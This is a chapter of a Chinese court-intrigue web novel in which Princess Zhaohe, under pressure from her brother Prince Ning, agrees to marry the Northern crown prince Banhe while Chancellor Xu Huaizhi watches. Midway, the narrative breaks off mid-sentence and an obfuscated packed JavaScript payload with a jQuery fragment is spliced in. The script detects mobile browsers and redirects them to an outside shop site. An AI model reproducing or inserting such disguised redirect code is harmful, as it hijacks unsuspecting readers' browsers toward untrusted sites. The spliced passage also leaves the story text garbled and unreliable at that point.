“婚事?”徐淮止面露不解。
“徐相方才没听着吗?”同样穿着骑装的男人,低头掐断一片嫩叶,缓慢的将指尖的汁水擦到身旁的太监身上,冷笑道:“咱们这位宁王,想送昭和去和亲。”
“皇兄这话便说错了。”周凌温声道:“和亲与嫁娶不同,郎有情妾有意,乃是一桩美谈,既是美谈,便无关身份国度,更提不上送这个字。”
周启鼓掌,缓步朝着角亭走去,“宁王还是一如既往的能说会道。”
直到靠近几人,确定没有旁人听见后,周启才冷凝道:“周凌,别以为本王不知道你打的什么主意。”
在周凌难看的神色中,周启又看向一旁的般和,“本王劝太子擦亮眼睛,莫被有心人利用了才是。”
“皇兄与其挂心太子,不如先多担心一下京城的治安。”周凌露出一丝笑容,笑意却不达眼底,“近日本王的人在京城外的山上抓到许多土匪,人现在就关押在地牢中,你说那些人到底凭何这般大胆,敢在天子脚下逞凶?”
“你!”周启目露狠意,还不等他说话,周凌便笑道:“各退一步,总比鱼死网破来得好,皇兄,你觉着呢?”
周启险些咬碎后槽牙才将戾气狠狠压下,目光在周凌与般和之间流连片刻后,又将此事引到了徐淮止头上,“昭和毕竟是我大周公主,便是嫁人也得遵循祖制,徐相,本王说的可对?”
一时之间所有的目光都汇聚在这位权臣身上,般和细细的打量了他一番,立如松竹,风光霁月,乃是大周最追捧的男子模样。
徐淮止淡然开口,“本官不曾听过圣上赐婚,又何来嫁人一说。”
周凌与周启神情双双变幻,不过瞬间,便已然在心里拐上了八九个弯。
“父皇卧病在床,早已不理朝政,兄长如父,若这婚事定下来,本王自会为昭和赐婚。”
周凌温和的解释,迎来的却是徐淮止略有深意的目光,“赐的是殿下与谁的婚?”
“徐大人。”般和低头把玩着腰间佩戴的菩提珠,徐淮止闻声侧头看他。
“孤是真心想要迎娶昭和公主的,大人能坐到丞相的位置,想必不是什么蠢人,也不会听不懂人话,绕来绕去的干什么?”
周凌略微抬眼看向别处,心中却企盼着般和能搓搓徐淮止的锐气,让他晓得这天下到底是谁在做主。
“本官只是困惑,一幅小小的堪舆图,凭何迎娶我大周公主?”
“你说什么?”般和不敢置信自个儿方才听到了什么,“小小?”
莫说是他,就连在外边儿竖起耳朵的朝臣们,也满心哗然。那玉山堪舆图虽说算不得什么绝世珍宝,可也算得上金山一座,绝不止于小小二字。
“徐大人莫不是才疏学浅,见识不够,不知道玉山堪舆图的价值。”
徐淮止从容道:“大周仅有这一位公主,可玉山堪舆图却不止一张,凭何相提并论?”
在众人的窃窃私语中,般和蹙眉道:“什么叫不止一张?”
“早年还不曾入朝为官时,本官也恰巧寻到过这张堪舆图。”在般和与众人震惊的目光中,徐淮止继续道:“这样东西并不稀罕,在本官看来,太子并无诚意。”
“你说有便有?孤凭何信你?”
徐淮止淡然道:“那张图现在就在本官家里,若般和太子想看,本官可以让人跑一趟,取过来给太子看看。”
他神情太过镇定,以至于无人能揣测出他话中真假。
徐淮止拢于袖中的双手慢条斯理的敲打在手臂上,他缓慢道:“先不论这门婚事是否能成,般和太子既要求娶,那便该拿出求娶的样子来,本官记着大周与北朝边境的营州乃贸易要处,富饶繁华,隶属于北朝管辖。”
什么叫做语不惊人死不休,般和今日算是见识到了。
“孤先前怎么没看出来徐大人这般幽默,张口便要一个城池,还是边塞要地的城池。”般和眼底冷光乍现,俨然不复方才爽朗之姿。
眼见火光蔓延,周凌笑道:“般和太子莫要见怪,徐相向来忠心为国,若有得罪之处,实属误会,误会……”
般和冷笑一声,并未将周凌的话放在眼里,“误会?孤本以为北朝与大周乃是兄弟,没想到,徐大人竟有此等野心。”
“徐相,般和太子与昭和两情相悦,你何苦拿出此等要求为难太子呢?”
徐淮止看向周凌,目光冷沉,“两情相悦?”
他看向周凌的眼神如同在看一个笑话。
想起方才离开保和殿时,周芮害怕般和的那段说辞。
两情相悦?
可笑。
周凌被徐淮止的眸中的冷光吓住,忽然便庆幸自己多思多虑之后的部署。
“对啊,徐相没瞧见昭和今个儿在宴上的神情吗?以昭和向来没有男女之防的性子,若对般和太子没有心思,又怎会拒绝本王的提议,本王觉着,她定是遇到真正心悦之人,所以害羞了,女子嘛,大都如此,徐相从未与女子谈过风月,不知晓也是正常的。”
“……”
周凌及冠之时便迎娶了王妃,后院姬妾更是不少,可他的话听在徐淮止耳朵里却仍是胡说八道。
或许旁的女子遇见心悦之人会羞赫,但周芮绝对不会。
想到以往被她纠缠的烦闷,徐淮止冷声道:“宁王对自个儿的妹妹,似乎并不了解。”
“王爷,王爷公主她……”
宫女小跑后气息紊乱的听在角亭边大口呼吸,话音未落,几人便抬眸看向她,随即目光不由自主的落到她身后不远处的梨花树下。
打扮的娇奢华贵的少女正提着裙角一步一步的走来。凌乱的发丝、歪歪扭扭挂在发间的珠钗、还有她衣裙上沾染的土灰都像是不知去哪儿玩了一圈的小猫,正灰头土脸的朝着家中走来。
周凌先一步开口,“去哪儿了?”
周芮脸上的泪痕早已干涸,她别开头没有对上周凌的目光,怕自个儿忍不住露出凶相,再给阿樾带去不必要的麻烦,“我就四处走了走,让皇兄担心了。”
“你啊。”周凌斥责道:“从小性子就调皮,如今都已过十八,还不让人省心,依本王看,还是早早将你嫁出去,让你未来夫君好好教教你。”
拢在袖中的指尖狠狠掐着掌心嫩肉,周芮深吸一口气,“多谢皇兄关心,不知皇兄想给我安排怎么一门婚事?”
站在亭中始终不曾挪步的徐淮止忽而皱眉看向周芮。
她这一问一答,很明显是在顺着周凌的话头往下,便是有几分
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14176942|147122||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
脑子的人,也知晓此时不该接话。
周凌忽而一笑,“你是本王唯一的妹妹,你的婚事自然由你自个儿做主,昭和可有心悦之人?”
“自然是有的。”
徐淮止眉宇间的沟壑越聚越拢。
“好。”周凌笑着走下角亭的台阶,“只要此人门当户对,与你相配,本王立即为你们赐婚。”
他洪亮的声音几乎传到了每个朝臣的耳朵里,陆陆续续的有人抬手恭维,有人甚至提前向周芮说着祝词。
她抬眸看向亭中站着的两人。
般和脸上,是一如既往的自信,仿佛早已料到会有这一遭,就如同他在回廊上说的那句话——
拭目以待。
果真是周凌的局。
知晓和亲一事没那般简单,便要让她自个儿提出来,以她流连风月的名声,做出非北朝太子不嫁这般的事情来,也不会令人怀疑。
“昭和,说说,此人是谁?”
“我心悦之人是……”
周芮下意识抬眸看向落后般和一步,穿着官袍的徐淮止。
她宁愿遭受徐淮止日日冷眼,也不想与这太子有半分纠缠,可眼下,她做的一切未雨绸缪在此刻似乎都化为了乌有。
阿樾一日在宫里,她便一日都有把柄捏在这些人身上,便是她在此刻拿徐淮止做挡箭牌又如何,他从来不是任人揉搓的柿子,他不会帮她,甚至可能还会……
更重要的是,阿樾在周凌手里,她没有时间了。
周芮垂下双眸的一刻,没有瞧见徐淮止眼底骤然浮现的冷寒。
“般和太子。”
不大不小的声音被春风吹进众人的耳朵里,般和酣畅淋漓的大笑两声后,看向身旁脸色阴沉的徐淮止,“徐大人,可听见了?”
徐淮止眼底的暗潮疯狂涌动一瞬,又恢复如常。
周凌讶异道:“当真?”
周芮看向他,眸中是化不开的怒火,“当真,我对般和太子一见钟情,嫁给他是我毕生所愿,还请皇兄……成全。”
周凌勾唇一笑,“既是一对有情人,那便让钦天监算算日子……”
“不必了。”周芮打断道:“我一日都不想再等,般和太子何日启程,我与他一同回去。”
周凌错愕一瞬,随即眉开眼笑,“没想到昭和对般和太子竟……如此情深。”
周芮同样偏头一笑,只是眸中却只有无尽的霜寒。
或许是她的说辞让周凌满意了,只见他忽然对着一旁的太监招手,低头吩咐了两句后,才笑着看向她,“既是皇妹出嫁,那本王定会备上一份令皇妹舒心的嫁妆。”
听懂他的言外之意后,周芮才彻底松了口气。
“瞧本王这记性……”周凌忽然一阵失笑,将话头重新落到马场上,仿佛方才之事不过只是短短的一段小插曲。
他领着众臣,再次朝着马场走去。在人群离开后,周芮佯装出来的顺从才彻底落下。
跟前一部分的阳光忽然被阴影笼罩,停在她身侧的高大身影无端的令她有些心虚。
周芮本以为徐淮止要问她缘由,她在心中慌忙思索着如何才能让徐淮止与她同仇敌忾化解危机时,他却道:
“殿下与般和太子,甚是般配。”